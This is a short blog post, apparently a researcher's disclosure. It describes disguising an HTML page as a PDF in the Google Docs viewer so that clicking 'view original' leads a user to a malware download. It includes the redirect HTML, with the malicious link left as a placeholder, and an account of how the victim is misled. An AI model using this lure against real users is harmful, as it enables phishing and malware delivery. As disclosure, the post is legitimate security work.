Google document or Google Docs is an awesome word processor offered by Google within its Google Drive service. The suite allows users to create and edit documents online while collaborating with other users in real-time. The best thing is that it serves as a collaborative tool for editing documents in real time. Documents can be shared, opened, and edited by multiple users simultaneously and users are able to see character-by-character changes as other collaborators make edits.
https://docs.google.com/viewer?url=[URL to pdf file]
![]() |
https://docs.google.com/viewer?url=https://bitcoin.org/bitcoin.pdf |
The Flaw
![]() |
https://docs.google.com/viewer?url=https://www.hackatrick.com |
<html>
<head>
<title>A web page that points a browser to a different page after 2 seconds</title>
<meta http-equiv=”refresh” content=”0; URL=[link to malicious software]”>
<meta name=”keywords” content=”automatic redirection”>
</head>
<body>
test
manually.
</body>
</html>
This code redirects the index.html to a different site after a specific amount of time.
Now when I entered this url in the google document viewer site, google thought it to be a normal pdf file and not html so it did nt show the html source code. and since there was no pdf so it showed a ‘no preview’ message.
Now if an user gets this link, he will first see the url where it is clearly written as .pdf . next he will wonder if its a pdf file then why its not getting opened in the viewer ? and the third thing he will notice is the 3rd party apps suggested by google to open the pdf. the user willl have no clue that its not actually a pdf file. So if the user clicks on the view original button which is on the top of the viewer page, the user will land in the /demo1.pdf directory which have the html file which redirects to malicious software link.
In firefox it will show a popup with a save option and in chrome it will automatically start downloading.
In firebox browser it shows a popup with a save file option
![]() |
|||||||||||
In firefox |
In chrome it automatically starts downloading
![]() |
In chrome |
I have reported the flaw to google security team but unfortunately this flaw does not come under their bug bounty program as they don’t consider it to be a valid vulnerability, but it does not matter as the fun and the learning is more important. Google thanked me for informing them about the issue and they will fix it soon. Hopefully !!